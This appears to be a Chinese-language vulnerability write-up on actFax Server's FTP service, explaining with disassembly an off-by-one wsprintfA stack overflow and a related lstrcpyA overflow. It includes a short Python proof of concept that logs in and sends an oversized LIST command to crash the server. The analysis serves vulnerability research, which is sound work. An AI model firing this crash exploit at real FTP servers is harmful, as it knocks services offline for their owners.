今天在分析exploit-db上面的actFax Server FTP Remote BOF (post auth) Bigger Buffer时,http://www.exploit-db.com/exploits/17373/
顺带看了下有没别的可以利用的地方,这个actfax采用了大量的不安全的拷贝、格式化函数,很容易出现问题
在ftp处理网络中的数据时,最大的数据为0x400大小,在使用wsprintfA格式化这个数据时,只分配了大小刚好的0x400的堆栈,这样会导致问题
wsprintf在格式化时会拷贝字符串最后一个null字节,这样0x400的数据,实际上格式化后拷贝的为0x401数据,最后一个为0x00,会导致返回地址
最低位被填0x00,导致软件crash掉。
bug汇编形态代码:
.text:00458350 sub_458350 proc near ; CODE XREF: MainListenThread+7Dp
.text:00458350 ; MainListenThread+E4p ...
.text:00458350
.text:00458350 Buffer = byte ptr -400h
.text:00458350 arg_0 = dword ptr 4
.text:00458350 arg_4 = dword ptr 8
.text:00458350
.text:00458350 mov eax, [esp+arg_4]
.text:00458354 sub esp, 400h
.text:0045835A lea ecx, [esp+400h+Buffer]
.text:0045835E push eax
.text:0045835F push offset aS_11 ; "%s\r\n"
.text:00458364 push ecx ; LPSTR
.text:00458365 call ds:wsprintfA
.text:0045836B mov eax, [esp+40Ch+arg_0]
.text:00458372 lea edx, [esp+40Ch+Buffer]
.text:00458376 push 0FFFFFFFFh ; nNumberOfBytesToWrite
.text:00458378 push edx ; lpBuffer
.text:00458379 push eax ; int
.text:0045837A call sub_4B7A70 ; bug 如果刚好400字节 wsprintf会多拷贝一个00字节导致返回地址被改变
.text:0045837F add esp, 418h
.text:00458385 retn
.text:00458385 sub_458350 endp
poc:
#!/usr/bin/python
import socket
import sys
typebuffer = "\x41"*1024
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.113',21))
print (s.recv(1024))
s.send('USER ' + 'Administrator\r\n')
print (s.recv(1024))
s.send('PASS \r\n')
print (s.recv(1024))
s.send('LIST'+ typebuffer + '\r\n')
s.close
另外这个actFax Server FTP Remote BOF (post auth) Bigger Buffer的产生是因为分配了大小0x300的堆栈,然后直接使用lstrcpy函数进行拷贝,最大的
数据大小为0x400,导致堆栈溢出。
.text:00458410 ; int __cdecl sub_458410(LPCSTR NetWorkData)
.text:00458410 sub_458410 proc near ; CODE XREF: MainListenThread+817p
.text:00458410
.text:00458410 String1 = byte ptr -300h
.text:00458410 String2 = byte ptr -200h
.text:00458410 var_100 = byte ptr -100h
.text:00458410 NetWorkData = dword ptr 4
.text:00458410
.text:00458410 mov eax, [esp+NetWorkData]
.text:00458414 sub esp, 300h
.text:0045841A lea ecx, [esp+300h+String1]
.text:0045841E push esi
.text:0045841F mov esi, ds:lstrcpyA
.text:00458425 push eax ; lpString2
.text:00458426 push ecx ; lpString1
.text:00458427 call esi ; lstrcpyA//堆栈溢出